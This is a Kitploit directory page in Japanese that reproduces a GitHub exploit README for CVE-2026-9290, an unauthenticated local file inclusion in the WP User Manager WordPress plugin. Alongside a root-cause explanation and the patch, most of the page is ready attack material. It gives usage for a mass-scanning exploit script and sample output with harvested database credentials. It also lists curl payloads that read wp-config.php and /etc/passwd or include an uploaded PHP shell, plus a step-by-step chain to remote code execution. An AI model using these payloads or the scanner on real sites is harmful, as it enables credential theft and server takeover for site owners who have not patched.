Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-9290 — WP User Manager <= 2.9.17 の tab パラメータにおけるパストラバーサルによる認証前ローカルファイルインクルージョン (CVSS 7.5) | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-9290
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubshinthink/cve-2026-9290

CVE-2026-9290

WP User Manager <= 2.9.17 の tab パラメータにおけるパストラバーサルによる認証前ローカルファイルインクルージョン (CVSS 7.5)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9290 — WP User Manager LFI→RCE エクスプロイト

事前認証不要の'tab'パラメータによるパストラバーサル → ローカルファイルインクルージョン


概要

CVE-2026-9290 は、WP User Manager – User Profile Builder & Membership WordPressプラグイン (≤ 2.9.17) における高深刻度 (CVSS 7.5) の認証不要のローカルファイルインクルージョン脆弱性です。

wpum_get_active_profile_tab() 関数は、ホワイトリスト検証なしで tab クエリパラメータを直接 Gamajo テンプレートローダーに渡します。tab 値内のパストラバーサルシーケンスにより、認証不要の攻撃者がPHPのinclude()を介してサーバー上の任意のファイルをインクルードできるようになります。

影響を受けるバージョン

WP User Manager バージョンステータス
≤ 2.9.17脆弱
≥ 2.9.18修正済み

脆弱性メカニズム

根本原因

includes/functions.php 内で、wpum_get_active_profile_tab() 関数はホワイトリスト検証なしで tab クエリパラメータを受け取ります:

root@kitploit:~
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

その値は、テンプレートファイルを解決してインクルードする Gamajo_Template_Loader::get_template_part() に渡されます:

root@kitploit:~
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

sanitize_text_field() はパストラバーサルシーケンスを除去しません。../../../wp-config はそのまま通過します。

攻撃フロー

root@kitploit:~
GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

主要ファイル

パッチ (2.9.18)

PR #445 でホワイトリスト検証が追加されました:

root@kitploit:~
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

インストール

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

使用方法

root@kitploit:~
# Single target — LFI probe
python cve_2026_9290.py -t target.com

# Mass scan
python cve_2026_9290.py -f targets.txt -v

# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt

引数

root@kitploit:~
  -t, --target      単一ターゲット (ドメインまたはIP)
  -f, --file        ターゲットリスト (1行に1つ)
  --read PATH       LFI経由で特定のファイルを読み取る
  -o, --output      結果をファイルに保存
  --threads         ワーカー数 (デフォルト: 25)
  -v, --verbose     詳細な出力を表示

概念実証

検出とLFI

root@kitploit:~
$ python cve_2026_9290.py -t target.com -v
root@kitploit:~
  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

大量スキャン

root@kitploit:~
  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

手動エクスプロイト

ステップ1 — WP User Managerの検出

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

ステップ2 — プロファイルページの検索

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

ステップ3 — tabパラメータによるLFI

root@kitploit:~
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Read /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

RCEチェーン

root@kitploit:~
1. LFI → wp-config.phpを読み取り → DB認証情報を取得
2. 別のプラグイン/メディアエンドポイント経由でPHPシェルをアップロード
3. LFI → アップロードしたシェルをインクルード → RCE

免責事項

教育および許可されたテスト目的に限ります。

このソフトウェアは、許可された侵入テストを実施するセキュリティ専門家、自社のインフラストラクチャを監査する組織、および脆弱性の悪用を研究する研究者を対象としています。

コンピュータシステムへの不正アクセスは違法であり、以下の法律に違反する可能性があります:

  • アメリカ合衆国: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • インドネシア: UU ITE Pasal 30 & 46
  • 欧州連合: Directive 2013/40/EU
  • イギリス: Computer Misuse Act 1990

作者は誤用に対する一切の責任を負いません。


参考文献

リソース

このプロジェクトはWP User ManagerまたはCarbon Fieldsとは提携していません。

ツールをダウンロード
ファイル行役割
includes/functions.php#L955wpum_get_active_profile_tab() — ホワイトリストなし
templates/profile.php#L52プロファイルテンプレートスコープ
class-gamajo-template-loader.php#L226サニタイズされていない include()
リンク
GitHub AdvisoryGHSA-83v9-496w-54wx
Wordfence Advisorywordfence.com
Patch PRGitHub #445
IONIX 分析ionix.io